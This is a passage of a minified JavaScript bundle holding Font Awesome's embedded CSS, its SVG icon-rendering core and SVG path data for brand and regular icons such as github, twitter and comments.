4em;\\n}\\n\\n.fa-5x {\\n font-size: 5em;\\n}\\n\\n.fa-6x {\\n font-size: 6em;\\n}\\n\\n.fa-7x {\\n font-size: 7em;\\n}\\n\\n.fa-8x {\\n font-size: 8em;\\n}\\n\\n.fa-9x {\\n font-size: 9em;\\n}\\n\\n.fa-10x {\\n font-size: 10em;\\n}\\n\\n.fa-fw {\\n text-align: center;\\n width: 1.25em;\\n}\\n\\n.fa-ul {\\n list-style-type: none;\\n margin-left: 2.5em;\\n padding-left: 0;\\n}\\n.fa-ul > li {\\n position: relative;\\n}\\n\\n.fa-li {\\n left: -2em;\\n position: absolute;\\n text-align: center;\\n width: 2em;\\n line-height: inherit;\\n}\\n\\n.fa-border {\\n border: solid 0.08em #eee;\\n border-radius: 0.1em;\\n padding: 0.2em 0.25em 0.15em;\\n}\\n\\n.fa-pull-left {\\n float: left;\\n}\\n\\n.fa-pull-right {\\n float: right;\\n}\\n\\n.fa.fa-pull-left,\\n.fas.fa-pull-left,\\n.far.fa-pull-left,\\n.fal.fa-pull-left,\\n.fab.fa-pull-left {\\n margin-right: 0.3em;\\n}\\n.fa.fa-pull-right,\\n.fas.fa-pull-right,\\n.far.fa-pull-right,\\n.fal.fa-pull-right,\\n.fab.fa-pull-right {\\n margin-left: 0.3em;\\n}\\n\\n.fa-spin {\\n -webkit-animation: fa-spin 2s infinite linear;\\n animation: fa-spin 2s infinite linear;\\n}\\n\\n.fa-pulse {\\n -webkit-animation: fa-spin 1s infinite steps(8);\\n animation: fa-spin 1s infinite steps(8);\\n}\\n\\n@-webkit-keyframes fa-spin {\\n 0% {\\n -webkit-transform: rotate(0deg);\\n transform: rotate(0deg);\\n }\\n 100% {\\n -webkit-transform: rotate(360deg);\\n transform: rotate(360deg);\\n }\\n}\\n\\n@keyframes fa-spin {\\n 0% {\\n -webkit-transform: rotate(0deg);\\n transform: rotate(0deg);\\n }\\n 100% {\\n -webkit-transform: rotate(360deg);\\n transform: rotate(360deg);\\n }\\n}\\n.fa-rotate-90 {\\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";\\n -webkit-transform: rotate(90deg);\\n transform: rotate(90deg);\\n}\\n\\n.fa-rotate-180 {\\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";\\n -webkit-transform: rotate(180deg);\\n transform: rotate(180deg);\\n}\\n\\n.fa-rotate-270 {\\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";\\n -webkit-transform: rotate(270deg);\\n transform: rotate(270deg);\\n}\\n\\n.fa-flip-horizontal {\\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";\\n -webkit-transform: scale(-1, 1);\\n transform: scale(-1, 1);\\n}\\n\\n.fa-flip-vertical {\\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";\\n -webkit-transform: scale(1, -1);\\n transform: scale(1, -1);\\n}\\n\\n.fa-flip-both, .fa-flip-horizontal.fa-flip-vertical {\\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";\\n -webkit-transform: scale(-1, -1);\\n transform: scale(-1, -1);\\n}\\n\\n:root .fa-rotate-90,\\n:root .fa-rotate-180,\\n:root .fa-rotate-270,\\n:root .fa-flip-horizontal,\\n:root .fa-flip-vertical,\\n:root .fa-flip-both {\\n -webkit-filter: none;\\n filter: none;\\n}\\n\\n.fa-stack {\\n display: inline-block;\\n height: 2em;\\n position: relative;\\n width: 2.5em;\\n}\\n\\n.fa-stack-1x,\\n.fa-stack-2x {\\n bottom: 0;\\n left: 0;\\n margin: auto;\\n position: absolute;\\n right: 0;\\n top: 0;\\n}\\n\\n.svg-inline--fa.fa-stack-1x {\\n height: 1em;\\n width: 1.25em;\\n}\\n.svg-inline--fa.fa-stack-2x {\\n height: 2em;\\n width: 2.5em;\\n}\\n\\n.fa-inverse {\\n color: #fff;\\n}\\n\\n.sr-only {\\n border: 0;\\n clip: rect(0, 0, 0, 0);\\n height: 1px;\\n margin: -1px;\\n overflow: hidden;\\n padding: 0;\\n position: absolute;\\n width: 1px;\\n}\\n\\n.sr-only-focusable:active, .sr-only-focusable:focus {\\n clip: auto;\\n height: auto;\\n margin: 0;\\n overflow: visible;\\n position: static;\\n width: auto;\\n}\\n\\n.svg-inline--fa .fa-primary {\\n fill: var(--fa-primary-color, currentColor);\\n opacity: 1;\\n opacity: var(--fa-primary-opacity, 1);\\n}\\n\\n.svg-inline--fa .fa-secondary {\\n fill: var(--fa-secondary-color, currentColor);\\n opacity: 0.4;\\n opacity: var(--fa-secondary-opacity, 0.4);\\n}\\n\\n.svg-inline--fa.fa-swap-opacity .fa-primary {\\n opacity: 0.4;\\n opacity: var(--fa-secondary-opacity, 0.4);\\n}\\n\\n.svg-inline--fa.fa-swap-opacity .fa-secondary {\\n opacity: 1;\\n opacity: var(--fa-primary-opacity, 1);\\n}\\n\\n.svg-inline--fa mask .fa-primary,\\n.svg-inline--fa mask .fa-secondary {\\n fill: black;\\n}\\n\\n.fad.fa-inverse {\\n color: #fff;\\n}\';function bn(){var ye=Ye,st=qe,I=b.familyPrefix,L=b.replacementClass,T=Xi;if(I!==ye||L!==st){var ue=new RegExp("\\\\.".concat(ye,"\\\\-"),"g"),gt=new RegExp("\\\\--".concat(ye,"\\\\-"),"g"),Ot=new RegExp("\\\\.".concat(st),"g");T=T.replace(ue,".".concat(I,"-")).replace(gt,"--".concat(I,"-")).replace(Ot,".".concat(L))}return T}function un(){b.autoAddCss&&!pi&&(ut(bn()),pi=!0)}function en(ye,st){return Object.defineProperty(ye,"abstract",{get:st}),Object.defineProperty(ye,"html",{get:function(){return ye.abstract.map(function(L){return Mn(L)})}}),Object.defineProperty(ye,"node",{get:function(){if(Ze){var L=q.createElement("div");return L.innerHTML=ye.html,L.children}}}),ye}function Mi(ye){var st=ye.prefix,I=void 0===st?"fa":st,L=ye.iconName;if(L)return Cn(_n.definitions,I,L)||Cn(ie.styles,I,L)}var _n=new(function(){function ye(){(function a(ye,st){if(!(ye instanceof st))throw new TypeError("Cannot call a class as a function")})(this,ye),this.definitions={}}return function u(ye,st,I){st&&s(ye.prototype,st),I&&s(ye,I)}(ye,[{key:"add",value:function(){for(var I=this,L=arguments.length,T=new Array(L),ue=0;ue<L;ue++)T[ue]=arguments[ue];var gt=T.reduce(this._pullDefinitions,{});Object.keys(gt).forEach(function(Ot){I.definitions[Ot]=f({},I.definitions[Ot]||{},gt[Ot]),Gn(Ot,gt[Ot]),X1()})}},{key:"reset",value:function(){this.definitions={}}},{key:"_pullDefinitions",value:function(I,L){var T=L.prefix&&L.iconName&&L.icon?{0:L}:L;return Object.keys(T).map(function(ue){var gt=T[ue],Ot=gt.prefix,Jt=gt.iconName,Tt=gt.icon;I[Ot]||(I[Ot]={}),I[Ot][Jt]=Tt}),I}}]),ye}()),pi=!1,si={i2svg:function(){var st=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};if(Ze){un();var I=st.node,L=void 0===I?q:I,T=st.callback,ue=void 0===T?function(){}:T;return b.searchPseudoElements&&Oi(L),o2(L,ue)}return at.reject("Operation requires a DOM of some kind.")},css:bn,insertCss:function(){pi||(ut(bn()),pi=!0)},watch:function(){var st=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},I=st.autoReplaceSvgRoot,L=st.observeMutationsRoot;!1===b.autoReplaceSvg&&(b.autoReplaceSvg=!0),b.observeMutations=!0,function Vt(ye){Ze&&(wt?setTimeout(ye,0):Xe.push(ye))}(function(){c2({autoReplaceSvgRoot:I}),function ui(ye){if(we&&b.observeMutations){var st=ye.treeCallback,I=ye.nodeCallback,L=ye.pseudoElementsCallback,T=ye.observeMutationsRoot,ue=void 0===T?q:T;Hn=new we(function(gt){dn||a1(gt).forEach(function(Ot){if("childList"===Ot.type&&Ot.addedNodes.length>0&&!ri(Ot.addedNodes[0])&&(b.searchPseudoElements&&L(Ot.target),st(Ot.target)),"attributes"===Ot.type&&Ot.target.parentNode&&b.searchPseudoElements&&L(Ot.target.parentNode),"attributes"===Ot.type&&ri(Ot.target)&&~ct.indexOf(Ot.attributeName))if("class"===Ot.attributeName){var Jt=L1(_1(Ot.target)),Tt=Jt.prefix,t1=Jt.iconName;Tt&&Ot.target.setAttribute("data-prefix",Tt),t1&&Ot.target.setAttribute("data-icon",t1)}else I(Ot.target)})}),Ze&&Hn.observe(ue,{childList:!0,attributes:!0,characterData:!0,subtree:!0})}}({treeCallback:o2,nodeCallback:Li,pseudoElementsCallback:Oi,observeMutationsRoot:L})})}},Vn={transform:function(st){return zi(st)}},v2=function m2(ye){return function(st){var I=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},L=(st||{}).icon?st:Mi(st||{}),T=I.mask;return T&&(T=(T||{}).icon?T:Mi(T||{})),ye(L,f({},I,{mask:T}))}}(function(ye){var st=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},I=st.transform,L=void 0===I?ot:I,T=st.symbol,ue=void 0!==T&&T,gt=st.mask,Ot=void 0===gt?null:gt,Jt=st.maskId,Tt=void 0===Jt?null:Jt,t1=st.title,O1=void 0===t1?null:t1,an=st.titleId,W1=void 0===an?null:an,Bn=st.classes,Dn=void 0===Bn?[]:Bn,sn=st.attributes,Yn=void 0===sn?{}:sn,qn=st.styles,xi=void 0===qn?{}:qn;if(ye){var Wn=ye.prefix,Te=ye.iconName,y=ye.icon;return en(f({type:"icon"},ye),function(){return un(),b.autoA11y&&(O1?Yn["aria-labelledby"]="".concat(b.replacementClass,"-title-").concat(W1||Zt()):(Yn["aria-hidden"]="true",Yn.focusable="false")),Wt({icons:{main:bi(y),mask:Ot?bi(Ot.icon):{found:!1,width:null,height:null,icon:{}}},prefix:Wn,iconName:Te,transform:f({},ot,L),symbol:ue,title:O1,maskId:Tt,titleId:W1,extra:{attributes:Yn,styles:xi,classes:Dn}})})}}),w2={noAuto:function(){b.autoReplaceSvg=!1,b.observeMutations=!1,function pn(){Hn&&Hn.disconnect()}()},config:b,dom:si,library:_n,parse:Vn,findIconDefinition:Mi,icon:v2,text:function(st){var I=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},L=I.transform,T=void 0===L?ot:L,ue=I.title,gt=void 0===ue?null:ue,Ot=I.classes,Jt=void 0===Ot?[]:Ot,Tt=I.attributes,t1=void 0===Tt?{}:Tt,O1=I.styles,an=void 0===O1?{}:O1;return en({type:"text",content:st},function(){return un(),p1({content:st,transform:f({},ot,T),title:gt,extra:{attributes:t1,styles:an,classes:["".concat(b.familyPrefix,"-layers-text")].concat(_(Jt))}})})},counter:function(st){var I=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},L=I.title,T=void 0===L?null:L,ue=I.classes,gt=void 0===ue?[]:ue,Ot=I.attributes,Jt=void 0===Ot?{}:Ot,Tt=I.styles,t1=void 0===Tt?{}:Tt;return en({type:"counter",content:st},function(){return un(),function w1(ye){var st=ye.content,I=ye.title,L=ye.extra,T=f({},L.attributes,I?{title:I}:{},{class:L.classes.join(" ")}),ue=P1(L.styles);ue.length>0&&(T.style=ue);var gt=[];return gt.push({tag:"span",attributes:T,children:[st]}),I&>.push({tag:"span",attributes:{class:"sr-only"},children:[I]}),gt}({content:st.toString(),title:T,extra:{attributes:Jt,styles:t1,classes:["".concat(b.familyPrefix,"-layers-counter")].concat(_(gt))}})})},layer:function(st){var L=(arguments.length>1&&void 0!==arguments[1]?arguments[1]:{}).classes,T=void 0===L?[]:L;return en({type:"layer"},function(){un();var ue=[];return st(function(gt){Array.isArray(gt)?gt.map(function(Ot){ue=ue.concat(Ot.abstract)}):ue=ue.concat(gt.abstract)}),[{tag:"span",attributes:{class:["".concat(b.familyPrefix,"-layers")].concat(_(T)).join(" ")},children:ue}]})},toHtml:Mn},c2=function(){var I=(arguments.length>0&&void 0!==arguments[0]?arguments[0]:{}).autoReplaceSvgRoot,L=void 0===I?q:I;(Object.keys(ie.styles).length>0||b.autoFetchSvg)&&Ze&&b.autoReplaceSvg&&w2.dom.i2svg({node:L})}},5767:(At,ae,d)=>{"use strict";d.d(ae,{HK3:()=>ia,IxA:()=>De,SrY:()=>d1,To0:()=>En,g7i:()=>R,hV2:()=>Li,mdU:()=>fa,neY:()=>li,ts2:()=>ir,uy2:()=>Ta,xYR:()=>bn,zhw:()=>ai});var De={prefix:"fab",iconName:"bitcoin",icon:[512,512,[],"f379","M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-141.651-35.33c4.937-32.999-20.191-50.739-54.55-62.573l11.146-44.702-27.213-6.781-10.851 43.524c-7.154-1.783-14.502-3.464-21.803-5.13l10.929-43.81-27.198-6.781-11.153 44.686c-5.922-1.349-11.735-2.682-17.377-4.084l.031-.14-37.53-9.37-7.239 29.062s20.191 4.627 19.765 4.913c11.022 2.751 13.014 10.044 12.68 15.825l-12.696 50.925c.76.194 1.744.473 2.829.907-.907-.225-1.876-.473-2.876-.713l-17.796 71.338c-1.349 3.348-4.767 8.37-12.471 6.464.271.395-19.78-4.937-19.78-4.937l-13.51 31.147 35.414 8.827c6.588 1.651 13.045 3.379 19.4 5.006l-11.262 45.213 27.182 6.781 11.153-44.733a1038.209 1038.209 0 0 0 21.687 5.627l-11.115 44.523 27.213 6.781 11.262-45.128c46.404 8.781 81.299 5.239 95.986-36.727 11.836-33.79-.589-53.281-25.004-65.991 17.78-4.098 31.174-15.792 34.747-39.949zm-62.177 87.179c-8.41 33.79-65.308 15.523-83.755 10.943l14.944-59.899c18.446 4.603 77.6 13.717 68.811 48.956zm8.417-87.667c-7.673 30.736-55.031 15.12-70.393 11.292l13.548-54.327c15.363 3.828 64.836 10.973 56.845 43.035z"]},R={prefix:"fab",iconName:"btc",icon:[384,512,[],"f15a","M310.204 242.638c27.73-14.18 45.377-39.39 41.28-81.3-5.358-57.351-52.458-76.573-114.85-81.929V0h-48.528v77.203c-12.605 0-25.525.315-38.444.63V0h-48.528v79.409c-17.842.539-38.622.276-97.37 0v51.678c38.314-.678 58.417-3.14 63.023 21.427v217.429c-2.925 19.492-18.524 16.685-53.255 16.071L3.765 443.68c88.481 0 97.37.315 97.37.315V512h48.528v-67.06c13.234.315 26.154.315 38.444.315V512h48.528v-68.005c81.299-4.412 135.647-24.894 142.895-101.467 5.671-61.446-23.32-88.862-69.326-99.89zM150.608 134.553c27.415 0 113.126-8.507 113.126 48.528 0 54.515-85.71 48.212-113.126 48.212v-96.74zm0 251.776V279.821c32.772 0 133.127-9.138 133.127 53.255-.001 60.186-100.355 53.253-133.127 53.253z"]},li={prefix:"fab",iconName:"facebook",icon:[512,512,[],"f09a","M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z"]},ai={prefix:"fab",iconName:"github",icon:[496,512,[],"f09b","M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"]},Li={prefix:"fab",iconName:"gitter",icon:[384,512,[],"f426","M66.4 322.5H16V0h50.4v322.5zM166.9 76.1h-50.4V512h50.4V76.1zm100.6 0h-50.4V512h50.4V76.1zM368 76h-50.4v247H368V76z"]},bn={prefix:"fab",iconName:"google",icon:[488,512,[],"f1a0","M488 261.8C488 403.3 391.1 504 248 504 110.8 504 0 393.2 0 256S110.8 8 248 8c66.8 0 123 24.5 166.3 64.9l-67.5 64.9C258.5 52.6 94.3 116.6 94.3 256c0 86.5 69.1 156.6 153.7 156.6 98.2 0 135-70.4 140.8-106.9H248v-85.3h236.1c2.3 12.7 3.9 24.9 3.9 41.4z"]},En={prefix:"fab",iconName:"leanpub",icon:[576,512,[],"f212","M386.539 111.485l15.096 248.955-10.979-.275c-36.232-.824-71.64 8.783-102.657 27.997-31.016-19.214-66.424-27.997-102.657-27.997-45.564 0-82.07 10.705-123.516 27.723L93.117 129.6c28.546-11.803 61.484-18.115 92.226-18.115 41.173 0 73.836 13.175 102.657 42.544 27.723-28.271 59.013-41.721 98.539-42.544zM569.07 448c-25.526 0-47.485-5.215-70.542-15.645-34.31-15.645-69.993-24.978-107.871-24.978-38.977 0-74.934 12.901-102.657 40.623-27.723-27.723-63.68-40.623-102.657-40.623-37.878 0-73.561 9.333-107.871 24.978C55.239 442.236 32.731 448 8.303 448H6.93L49.475 98.859C88.726 76.626 136.486 64 181.775 64 218.83 64 256.984 71.685 288 93.095 319.016 71.685 357.17 64 394.225 64c45.289 0 93.049 12.626 132.3 34.859L569.07 448zm-43.368-44.741l-34.036-280.246c-30.742-13.999-67.248-21.41-101.009-21.41-38.428 0-74.385 12.077-102.657 38.702-28.272-26.625-64.228-38.702-102.657-38.702-33.761 0-70.267 7.411-101.009 21.41L50.298 403.259c47.211-19.487 82.894-33.486 135.045-33.486 37.604 0 70.817 9.606 102.657 29.644 31.84-20.038 65.052-29.644 102.657-29.644 52.151 0 87.834 13.999 135.045 33.486z"]},ia={prefix:"fab",iconName:"reddit",icon:[512,512,[],"f1a1","M201.5 305.5c-13.8 0-24.9-11.1-24.9-24.6 0-13.8 11.1-24.9 24.9-24.9 13.6 0 24.6 11.1 24.6 24.9 0 13.6-11.1 24.6-24.6 24.6zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-132.3-41.2c-9.4 0-17.7 3.9-23.8 10-22.4-15.5-52.6-25.5-86.1-26.6l17.4-78.3 55.4 12.5c0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.3 24.9-24.9s-11.1-24.9-24.9-24.9c-9.7 0-18 5.8-22.1 13.8l-61.2-13.6c-3-.8-6.1 1.4-6.9 4.4l-19.1 86.4c-33.2 1.4-63.1 11.3-85.5 26.8-6.1-6.4-14.7-10.2-24.1-10.2-34.9 0-46.3 46.9-14.4 62.8-1.1 5-1.7 10.2-1.7 15.5 0 52.6 59.2 95.2 132 95.2 73.1 0 132.3-42.6 132.3-95.2 0-5.3-.6-10.8-1.9-15.8 31.3-16 19.8-62.5-14.9-62.5zM302.8 331c-18.2 18.2-76.1 17.9-93.6 0-2.2-2.2-6.1-2.2-8.3 0-2.5 2.5-2.5 6.4 0 8.6 22.8 22.8 87.3 22.8 110.2 0 2.5-2.2 2.5-6.1 0-8.6-2.2-2.2-6.1-2.2-8.3 0zm7.7-75c-13.6 0-24.6 11.1-24.6 24.9 0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.1 24.9-24.6 0-13.8-11-24.9-24.9-24.9z"]},d1={prefix:"fab",iconName:"slack",icon:[448,512,[],"f198","M94.12 315.1c0 25.9-21.16 47.06-47.06 47.06S0 341 0 315.1c0-25.9 21.16-47.06 47.06-47.06h47.06v47.06zm23.72 0c0-25.9 21.16-47.06 47.06-47.06s47.06 21.16 47.06 47.06v117.84c0 25.9-21.16 47.06-47.06 47.06s-47.06-21.16-47.06-47.06V315.1zm47.06-188.98c-25.9 0-47.06-21.16-47.06-47.06S139 32 164.9 32s47.06 21.16 47.06 47.06v47.06H164.9zm0 23.72c25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06H47.06C21.16 243.96 0 222.8 0 196.9s21.16-47.06 47.06-47.06H164.9zm188.98 47.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06h-47.06V196.9zm-23.72 0c0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06V79.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06V196.9zM283.1 385.88c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06v-47.06h47.06zm0-23.72c-25.9 0-47.06-21.16-47.06-47.06 0-25.9 21.16-47.06 47.06-47.06h117.84c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06H283.1z"]},Ta={prefix:"fab",iconName:"stripe",icon:[640,512,[],"f429","M165 144.7l-43.3 9.2-.2 142.4c0 26.3 19.8 43.3 46.1 43.3 14.6 0 25.3-2.7 31.2-5.9v-33.8c-5.7 2.3-33.7 10.5-33.7-15.7V221h33.7v-37.8h-33.7zm89.1 51.6l-2.7-13.1H213v153.2h44.3V233.3c10.5-13.8 28.2-11.1 33.9-9.3v-40.8c-6-2.1-26.7-6-37.1 13.1zm92.3-72.3l-44.6 9.5v36.2l44.6-9.5zM44.9 228.3c0-6.9 5.8-9.6 15.1-9.7 13.5 0 30.7 4.1 44.2 11.4v-41.8c-14.7-5.8-29.4-8.1-44.1-8.1-36 0-60 18.8-60 50.2 0 49.2 67.5 41.2 67.5 62.4 0 8.2-7.1 10.9-17 10.9-14.7 0-33.7-6.1-48.6-14.2v40c16.5 7.1 33.2 10.1 48.5 10.1 36.9 0 62.3-15.8 62.3-47.8 0-52.9-67.9-43.4-67.9-63.4zM640 261.6c0-45.5-22-81.4-64.2-81.4s-67.9 35.9-67.9 81.1c0 53.5 30.3 78.2 73.5 78.2 21.2 0 37.1-4.8 49.2-11.5v-33.4c-12.1 6.1-26 9.8-43.6 9.8-17.3 0-32.5-6.1-34.5-26.9h86.9c.2-2.3.6-11.6.6-15.9zm-87.9-16.8c0-20 12.3-28.4 23.4-28.4 10.9 0 22.5 8.4 22.5 28.4zm-112.9-64.6c-17.4 0-28.6 8.2-34.8 13.9l-2.3-11H363v204.8l44.4-9.4.1-50.2c6.4 4.7 15.9 11.2 31.4 11.2 31.8 0 60.8-23.2 60.8-79.6.1-51.6-29.3-79.7-60.5-79.7zm-10.6 122.5c-10.4 0-16.6-3.8-20.9-8.4l-.3-66c4.6-5.1 11-8.8 21.2-8.8 16.2 0 27.4 18.2 27.4 41.4.1 23.9-10.9 41.8-27.4 41.8zm-126.7 33.7h44.6V183.2h-44.6z"]},fa={prefix:"fab",iconName:"twitter",icon:[512,512,[],"f099","M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z"]},ir={prefix:"fab",iconName:"windows",icon:[448,512,[],"f17a","M0 93.7l183.6-25.3v177.4H0V93.7zm0 324.6l183.6 25.3V268.4H0v149.9zm203.8 28L448 480V268.4H203.8v177.9zm0-380.6v180.1H448V32L203.8 65.7z"]}},534:(At,ae,d)=>{"use strict";d.d(ae,{Eg:()=>Ye,I7:()=>Hn,T:()=>Mn,Xc:()=>We,Xg:()=>V1,fG:()=>Vt,lX:()=>Ke});var Ye={prefix:"far",iconName:"comment-alt",icon:[512,512,[],"f27a","M448 0H64C28.7 0 0 28.7 0 64v288c0 35.3 28.7 64 64 64h96v84c0 7.1 5.8 12 12 12 2.4 0 4.9-.7 7.1-2.4L304 416h144c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zm16 352c0 8.8-7.2 16-16 16H288l-12.8 9.6L208 428v-60H64c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16h384c8.8 0 16 7.2 16 16v288z"]},Ke={prefix:"far",iconName:"comments",icon:[576,512,[],"f086","M532 386.2c27.5-27.1 44-61.1 44-98.2 0-80-76.5-146.1-176.2-157.9C368.3 72.5 294.3 32 208 32 93.1 32 0 103.6 0 192c0 37 16.5 71 44 98.2-15.3 30.7-37.3 54.5-37.7 54.9-6.3 6.7-8.1 16.5-4.4 25 3.6 8.5 12 14 21.2 14 53.5 0 96.7-20.2 125.2-38.8 9.2 2.1 18.7 3.7 28.4 4.9C208.1 407.6 281.8 448 368 448c20.8 0 40.8-2.4 59.8-6.8C456.3 459.7 499.4 480 553 480c9.2 0 17.5-5.5 21.2-14 3.6-8.5 1.9-18.3-4.4-25-.4-.3-22.5-24.1-37.8-54.8zm-392.8-92.3L122.1 305c-14.1 9.1-28.5 16.3-43.1 21.4 2.7-4.7 5.4-9.7 8-14.8l15.5-31.1L77.7 256C64.2 242.6 48 220.7 48 192c0-60.7 73.3-112 160-112s160 51.3 160 112-73.3 112-160 112c-16.5 0-33-1.9-49-5.6l-19.8-4.5zM498.3 352l-24.7 24.4 15.5 31.1c2.6 5.1 5.3 10.1 8 14.8-14.6-5.1-29-12.3-43.1-21.4l-17.1-11.1-19.9 4.6c-16 3.7-32.5 5.6-49 5.6-54 0-102.2-20.1-131.3-49.7C338 339.5 416 272.9 416 192c0-3.4-.4-6.7-.7-10C479.7 196.5 528 238.8 528 288c0 28.7-16.2 50.6-29.7 64z"]},We={prefix:"far",iconName:"edit",icon:[576,512,[],"f044","M402.3 344.9l32-32c5-5 13.7-1.5 13.7 5.7V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h273.5c7.1 0 10.7 8.6 5.7 13.7l-32 32c-1.5 1.5-3.5 2.3-5.7 2.3H48v352h352V350.5c0-2.1.8-4.1 2.3-5.6zm156.6-201.8L296.3 405.7l-90.4 10c-26.2 2.9-48.5-19.2-45.6-45.6l10-90.4L432.9 17.1c22.9-22.9 59.9-22.9 82.7 0l43.2 43.2c22.9 22.9 22.9 60 .1 82.8zM460.1 174L402 115.9 216.2 301.8l-7.3 65.3 65.3-7.3L460.1 174zm64.8-79.7l-43.2-43.2c-4.1-4.1-10.8-4.1-14.8 0L436 82l58.1 58.1 30.9-30.9c4-4.2 4-10.8-.1-14.9z"]},Vt={prefix:"far",iconName:"gem",icon:[576,512,[],"f3a5","M464 0H112c-4 0-7.8 2-10 5.4L2 152.6c-2.9 4.4-2.6 10.2.7 14.2l276 340.8c4.8 5.9 13.8 5.9 18.6 0l276-340.8c3.3-4.1 3.6-9.8.7-14.2L474.1 5.4C471.8 2 468.1 0 464 0zm-19.3 48l63.3 96h-68.4l-51.7-96h56.8zm-202.1 0h90.7l51.7 96H191l51.6-96zm-111.3 0h56.8l-51.7 96H68l63.3-96zm-43 144h51.4L208 352 88.3 192zm102.9 0h193.6L288 435.3 191.2 192zM368 352l68.2-160h51.4L368 352z"]},V1={prefix:"far",iconName:"newspaper",icon:[576,512,[],"f1ea","M552 64H112c-20.858 0-38.643 13.377-45.248 32H24c-13.255 0-24 10.745-24 24v272c0 30.928 25.072 56 56 56h496c13.255 0 24-10.745 24-24V88c0-13.255-10.745-24-24-24zM48 392V144h16v248c0 4.411-3.589 8-8 8s-8-3.589-8-8zm480 8H111.422c.374-2.614.578-5.283.578-8V112h416v288zM172 280h136c6.627 0 12-5.373 12-12v-96c0-6.627-5.373-12-12-12H172c-6.627 